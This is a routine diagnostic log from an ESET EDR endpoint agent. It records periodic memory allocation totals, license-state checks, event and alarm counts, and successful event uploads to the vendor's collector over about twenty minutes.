2026-03-04 03:56:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61465 KB; ProcessInfo: 1774 KB; ModuleMetadata: 571 KB; TcpIpConnectionsManager: 565 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 524 KB; rules::ProcessConditionsCache: 245 KB; BaseEvent: 227 KB; ModuleInfoCache: 107 KB; CacheEntry: 90 KB; BatchSerializer::EventsQueueTag: 59 KB; cloudutils::CloudData: 38 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 9 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 8 KB; ExtendedTcpIpConnectionInfo: 3 KB; BatchStringTag: 0 KB; Total: 66266 KB;
2026-03-04 03:57:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61465 KB; ProcessInfo: 2151 KB; TcpIpConnectionsManager: 581 KB; ModuleMetadata: 571 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 525 KB; BaseEvent: 410 KB; rules::ProcessConditionsCache: 232 KB; BatchSerializer::EventsQueueTag: 108 KB; ModuleInfoCache: 107 KB; CacheEntry: 90 KB; cloudutils::CloudData: 38 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 10 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 66880 KB;
2026-03-04 03:58:17 7ff8037ff6c0 Info: RulesEngineMemoryUsage. Start
2026-03-04 03:58:17 7ff8037ff6c0 Info: RulesEngineMemoryUsage. conditions size: 23515
2026-03-04 03:58:17 7ff8037ff6c0 Info: RulesEngineMemoryUsage. providers size: 37
2026-03-04 03:58:17 7ff8037ff6c0 Info: RulesEngineMemoryUsage. End
2026-03-04 03:58:26 7ff8027fd6c0 Info: LicenseStateManager: license state check started. Current License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 03:58:26 7ff8027fd6c0 Info: LicenseStateManager: received license information status: 0, remainingDays: 199, expirationDate: 1789776000, flags: 0, publicId: 3BA-MD9-VDA, seatId: 2cd11044-641a-4d0b-b46c-c32589a4d24f, seatName: , type: 
2026-03-04 03:58:26 7ff8027fd6c0 Info: LicenseStateManager: Updated internal current license License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 03:58:26 7ff8027fd6c0 Info: LicenseStateManager: waiting for next check (for 00:05:00.000000000). Current: License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 03:58:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61465 KB; ProcessInfo: 2514 KB; BaseEvent: 589 KB; ModuleMetadata: 571 KB; TcpIpConnectionsManager: 568 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 526 KB; rules::ProcessConditionsCache: 213 KB; BatchSerializer::EventsQueueTag: 155 KB; ModuleInfoCache: 107 KB; CacheEntry: 90 KB; cloudutils::CloudData: 38 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 9 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 8 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 67435 KB;
2026-03-04 03:59:46 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 03:55:41, To:, 2026-03-04 03:59:46, Duration (s):, 245, Events Per Second:, 16.733, Events:, 4100, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3392, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 0, Livegrid:, 0, OriginUrl:, 0, Alarms:, 707, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 454325
2026-03-04 03:59:49 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 2s913ms.
2026-03-04 03:59:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61465 KB; ProcessInfo: 1349 KB; ModuleMetadata: 571 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 542 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 528 KB; rules::ProcessConditionsCache: 189 KB; ModuleInfoCache: 107 KB; CacheEntry: 90 KB; cloudutils::CloudData: 38 KB; BaseEvent: 27 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ProcessInfoCommandLineTag: 8 KB; BatchSerializer::EventsQueueTag: 8 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 65513 KB;
2026-03-04 04:00:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61465 KB; ProcessInfo: 1725 KB; ModuleMetadata: 571 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 529 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 528 KB; BaseEvent: 208 KB; rules::ProcessConditionsCache: 191 KB; ModuleInfoCache: 107 KB; CacheEntry: 90 KB; BatchSerializer::EventsQueueTag: 55 KB; cloudutils::CloudData: 38 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 11 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 3 KB; BatchStringTag: 0 KB; Total: 66111 KB;
2026-03-04 04:01:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61465 KB; ProcessInfo: 2092 KB; ModuleMetadata: 571 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 549 KB; TcpIpConnectionsManager: 539 KB; BaseEvent: 387 KB; rules::ProcessConditionsCache: 173 KB; ModuleInfoCache: 107 KB; BatchSerializer::EventsQueueTag: 103 KB; CacheEntry: 90 KB; cloudutils::CloudData: 38 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 11 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 8 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 66716 KB;
2026-03-04 04:02:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61465 KB; ProcessInfo: 2451 KB; ModuleMetadata: 571 KB; BaseEvent: 563 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 550 KB; TcpIpConnectionsManager: 534 KB; BatchSerializer::EventsQueueTag: 149 KB; rules::ProcessConditionsCache: 145 KB; ModuleInfoCache: 107 KB; CacheEntry: 90 KB; cloudutils::CloudData: 38 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 11 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 67265 KB;
2026-03-04 04:03:17 7ff8037ff6c0 Info: RulesEngineMemoryUsage. Start
2026-03-04 04:03:17 7ff8037ff6c0 Info: RulesEngineMemoryUsage. conditions size: 23515
2026-03-04 04:03:17 7ff8037ff6c0 Info: RulesEngineMemoryUsage. providers size: 37
2026-03-04 04:03:17 7ff8037ff6c0 Info: RulesEngineMemoryUsage. End
2026-03-04 04:03:26 7ff8027fd6c0 Info: LicenseStateManager: license state check started. Current License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 04:03:26 7ff8027fd6c0 Info: LicenseStateManager: received license information status: 0, remainingDays: 199, expirationDate: 1789776000, flags: 0, publicId: 3BA-MD9-VDA, seatId: 2cd11044-641a-4d0b-b46c-c32589a4d24f, seatName: , type: 
2026-03-04 04:03:26 7ff8027fd6c0 Info: LicenseStateManager: Updated internal current license License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 04:03:26 7ff8027fd6c0 Info: LicenseStateManager: waiting for next check (for 00:05:00.000000000). Current: License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 04:03:54 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 03:59:45, To:, 2026-03-04 04:03:53, Duration (s):, 248, Events Per Second:, 16.540, Events:, 4118, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3406, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 0, Livegrid:, 0, OriginUrl:, 0, Alarms:, 711, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 457996
2026-03-04 04:03:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61465 KB; ProcessInfo: 1288 KB; ModuleMetadata: 571 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 552 KB; rules::AncestorEvaluations: 552 KB; TcpIpConnectionsManager: 532 KB; BatchStringTag: 447 KB; rules::ProcessConditionsCache: 138 KB; ModuleInfoCache: 107 KB; CacheEntry: 90 KB; cloudutils::CloudData: 38 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 8 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 8 KB; BaseEvent: 4 KB; ExtendedTcpIpConnectionInfo: 1 KB; BatchSerializer::EventsQueueTag: 0 KB; Total: 65830 KB;
2026-03-04 04:03:56 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 2s196ms.
2026-03-04 04:04:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61465 KB; ProcessInfo: 1647 KB; ModuleMetadata: 571 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 553 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 521 KB; BaseEvent: 182 KB; rules::ProcessConditionsCache: 110 KB; ModuleInfoCache: 107 KB; CacheEntry: 90 KB; BatchSerializer::EventsQueueTag: 46 KB; cloudutils::CloudData: 38 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ProcessInfoCommandLineTag: 8 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 65930 KB;
2026-03-04 04:05:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61465 KB; ProcessInfo: 2012 KB; ModuleMetadata: 571 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 542 KB; TcpIpConnectionsManager: 522 KB; BaseEvent: 362 KB; ModuleInfoCache: 107 KB; rules::ProcessConditionsCache: 99 KB; BatchSerializer::EventsQueueTag: 94 KB; CacheEntry: 90 KB; cloudutils::CloudData: 38 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 9 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 1 KB; BatchStringTag: 0 KB; Total: 66501 KB;
2026-03-04 04:06:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61465 KB; ProcessInfo: 2374 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 578 KB; ModuleMetadata: 571 KB; rules::AncestorEvaluations: 551 KB; BaseEvent: 539 KB; TcpIpConnectionsManager: 530 KB; BatchSerializer::EventsQueueTag: 140 KB; ModuleInfoCache: 107 KB; rules::ProcessConditionsCache: 92 KB; CacheEntry: 90 KB; cloudutils::CloudData: 38 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 9 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 67124 KB;
2026-03-04 04:07:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61465 KB; ProcessInfo: 2736 KB; BaseEvent: 717 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 577 KB; ModuleMetadata: 571 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 521 KB; BatchSerializer::EventsQueueTag: 186 KB; ModuleInfoCache: 107 KB; CacheEntry: 90 KB; rules::ProcessConditionsCache: 74 KB; cloudutils::CloudData: 38 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 9 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 67682 KB;
2026-03-04 04:08:05 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 04:03:53, To:, 2026-03-04 04:08:05, Duration (s):, 252, Events Per Second:, 16.244, Events:, 4108, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3381, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 0, Livegrid:, 0, OriginUrl:, 0, Alarms:, 726, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 456364
2026-03-04 04:08:07 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 1s413ms.
2026-03-04 04:08:17 7ff8037ff6c0 Info: RulesEngineMemoryUsage. Start
2026-03-04 04:08:17 7ff8037ff6c0 Info: RulesEngineMemoryUsage. conditions size: 23515
2026-03-04 04:08:17 7ff8037ff6c0 Info: RulesEngineMemoryUsage. providers size: 37
2026-03-04 04:08:17 7ff8037ff6c0 Info: RulesEngineMemoryUsage. End
2026-03-04 04:08:26 7ff8027fd6c0 Info: LicenseStateManager: license state check started. Current License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 04:08:26 7ff8027fd6c0 Info: LicenseStateManager: received license information status: 0, remainingDays: 199, expirationDate: 1789776000, flags: 0, publicId: 3BA-MD9-VDA, seatId: 2cd11044-641a-4d0b-b46c-c32589a4d24f, seatName: , type: 
2026-03-04 04:08:26 7ff8027fd6c0 Info: LicenseStateManager: Updated internal current license License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 04:08:26 7ff8027fd6c0 Info: LicenseStateManager: waiting for next check (for 00:05:00.000000000). Current: License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 04:08:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61465 KB; ProcessInfo: 1577 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 580 KB; ModuleMetadata: 571 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 517 KB; BaseEvent: 149 KB; ModuleInfoCache: 107 KB; CacheEntry: 90 KB; rules::ProcessConditionsCache: 58 KB; BatchSerializer::EventsQueueTag: 38 KB; cloudutils::CloudData: 38 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 9 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 65791 KB;
2026-03-04 04:09:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61465 KB; ProcessInfo: 1982 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 582 KB; ModuleMetadata: 571 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 514 KB; BaseEvent: 337 KB; ModuleInfoCache: 107 KB; CacheEntry: 90 KB; BatchSerializer::EventsQueueTag: 90 KB; rules::ProcessConditionsCache: 47 KB; cloudutils::CloudData: 38 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 16 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 8 KB; ExtendedTcpIpConnectionInfo: 1 KB; BatchStringTag: 0 KB; Total: 66428 KB;
2026-03-04 04:10:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61465 KB; ProcessInfo: 2347 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 581 KB; ModuleMetadata: 571 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 516 KB; BaseEvent: 514 KB; BatchSerializer::EventsQueueTag: 137 KB; ModuleInfoCache: 107 KB; CacheEntry: 90 KB; cloudutils::CloudData: 38 KB; rules::ProcessConditionsCache: 36 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 16 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 8 KB; ExtendedTcpIpConnectionInfo: 1 KB; BatchStringTag: 0 KB; Total: 67006 KB;
2026-03-04 04:11:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61465 KB; ProcessInfo: 2705 KB; BaseEvent: 691 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 582 KB; ModuleMetadata: 571 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 517 KB; BatchSerializer::EventsQueueTag: 182 KB; ModuleInfoCache: 107 KB; CacheEntry: 90 KB; cloudutils::CloudData: 38 KB; rules::CachedConditionEvaluationCtx: 22 KB; rules::ProcessConditionsCache: 18 KB; ProcessInfoCommandLineTag: 17 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 1 KB; BatchStringTag: 0 KB; Total: 67574 KB;
2026-03-04 04:12:10 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 04:08:05, To:, 2026-03-04 04:12:09, Duration (s):, 244, Events Per Second:, 16.899, Events:, 4140, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3431, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 0, Livegrid:, 0, OriginUrl:, 0, Alarms:, 708, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 461171
2026-03-04 04:12:12 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 2s435ms.
2026-03-04 04:12:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61465 KB; ProcessInfo: 1555 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 582 KB; ModuleMetadata: 571 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 514 KB; BaseEvent: 134 KB; ModuleInfoCache: 107 KB; CacheEntry: 90 KB; cloudutils::CloudData: 38 KB; BatchSerializer::EventsQueueTag: 34 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 9 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; rules::ProcessConditionsCache: 5 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 65696 KB;
2026-03-04 04:13:17 7ff8037ff6c0 Info: RulesEngineMemoryUsage. Start
2026-03-04 04:13:17 7ff8037ff6c0 Info: RulesEngineMemoryUsage. conditions size: 23515
2026-03-04 04:13:17 7ff8037ff6c0 Info: RulesEngineMemoryUsage. providers size: 37
2026-03-04 04:13:17 7ff8037ff6c0 Info: RulesEngineMemoryUsage. End
2026-03-04 04:13:26 7ff8027fd6c0 Info: LicenseStateManager: license state check started. Current License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 04:13:26 7ff8027fd6c0 Info: LicenseStateManager: received license information status: 0, remainingDays: 199, expirationDate: 1789776000, flags: 0, publicId: 3BA-MD9-VDA, seatId: 2cd11044-641a-4d0b-b46c-c32589a4d24f, seatName: , type: 
2026-03-04 04:13:26 7ff8027fd6c0 Info: LicenseStateManager: Updated internal current license License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 04:13:26 7ff8027fd6c0 Info: LicenseStateManager: waiting for next check (for 00:05:00.000000000). Current: License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 04:13:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61465 KB; ProcessInfo: 1918 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 583 KB; ModuleMetadata: 573 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 516 KB; rules::ProcessConditionsCache: 408 KB; BaseEvent: 312 KB; ModuleInfoCache: 107 KB; CacheEntry: 90 KB; BatchSerializer::EventsQueueTag: 81 KB; cloudutils::CloudData: 38 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 9 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 66691 KB;
2026-03-04 04:14:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61465 KB; ProcessInfo: 2279 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 586 KB; ModuleMetadata: 573 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 516 KB; BaseEvent: 492 KB; rules::ProcessConditionsCache: 398 KB; BatchSerializer::EventsQueueTag: 128 KB; ModuleInfoCache: 107 KB; CacheEntry: 90 KB; cloudutils::CloudData: 38 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 9 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 67271 KB;
2026-03-04 04:15:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61465 KB; ProcessInfo: 2662 KB; BaseEvent: 672 KB; ModuleMetadata: 573 KB; TcpIpConnectionsManager: 555 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 534 KB; rules::ProcessConditionsCache: 394 KB; BatchSerializer::EventsQueueTag: 176 KB; ModuleInfoCache: 107 KB; CacheEntry: 90 KB; cloudutils::CloudData: 38 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 9 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 1 KB; BatchStringTag: 0 KB; Total: 67867 KB;
2026-03-04 04:16:18 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 04:12:09, To:, 2026-03-04 04:16:18, Duration (s):, 249, Events Per Second:, 16.527, Events:, 4118, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3398, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 1, Livegrid:, 1, OriginUrl:, 0, Alarms:, 717, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 457809
2026-03-04 04:16:19 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 1s397ms.
2026-03-04 04:16:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61465 KB; ProcessInfo: 1526 KB; ModuleMetadata: 573 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 544 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 533 KB; rules::ProcessConditionsCache: 361 KB; BaseEvent: 110 KB; ModuleInfoCache: 107 KB; CacheEntry: 90 KB; cloudutils::CloudData: 38 KB; BatchSerializer::EventsQueueTag: 28 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 9 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 8 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 65974 KB;
2026-03-04 04:17:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61465 KB; ProcessInfo: 1888 KB; ModuleMetadata: 573 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 544 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 534 KB; rules::ProcessConditionsCache: 346 KB; BaseEvent: 290 KB; ModuleInfoCache: 107 KB; CacheEntry: 90 KB; BatchSerializer::EventsQueueTag: 76 KB; cloudutils::CloudData: 38 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 10 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 66550 KB;
2026-03-04 04:18:17 7ff8037ff6c0 Info: RulesEngineMemoryUsage. Start
2026-03-04 04:18:17 7ff8037ff6c0 Info: RulesEngineMemoryUsage. conditions size: 23515
2026-03-04 04:18:17 7ff8037ff6c0 Info: RulesEngineMemoryUsage. providers size: 37
2026-03-04 04:18:17 7ff8037ff6c0 Info: RulesEngineMemoryUsage. End
2026-03-04 04:18:26 7ff8027fd6c0 Info: LicenseStateManager: license state check started. Current License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 04:18:26 7ff8027fd6c0 Info: LicenseStateManager: received license information status: 0, remainingDays: 199, expirationDate: 1789776000, flags: 0, publicId: 3BA-MD9-VDA, seatId: 2cd11044-641a-4d0b-b46c-c32589a4d24f, seatName: , type: 
2026-03-04 04:18:26 7ff8027fd6c0 Info: LicenseStateManager: Updated internal current license License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 04:18:26 7ff8027fd6c0 Info: LicenseStateManager: waiting for next check (for 00:05:00.000000000). Current: License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 04:18:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61465 KB; ProcessInfo: 2248 KB; ModuleMetadata: 573 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 536 KB; TcpIpConnectionsManager: 527 KB; BaseEvent: 467 KB; rules::ProcessConditionsCache: 328 KB; BatchSerializer::EventsQueueTag: 122 KB; ModuleInfoCache: 107 KB; CacheEntry: 90 KB; cloudutils::CloudData: 38 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 10 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 1 KB; BatchStringTag: 0 KB; Total: 67101 KB;
2026-03-04 04:19:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61465 KB; ProcessInfo: 2617 KB; BaseEvent: 649 KB; ModuleMetadata: 573 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 539 KB; TcpIpConnectionsManager: 519 KB; rules::ProcessConditionsCache: 323 KB; BatchSerializer::EventsQueueTag: 169 KB; ModuleInfoCache: 107 KB; CacheEntry: 90 KB; cloudutils::CloudData: 38 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 10 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 1 KB; BatchStringTag: 0 KB; Total: 67688 KB;
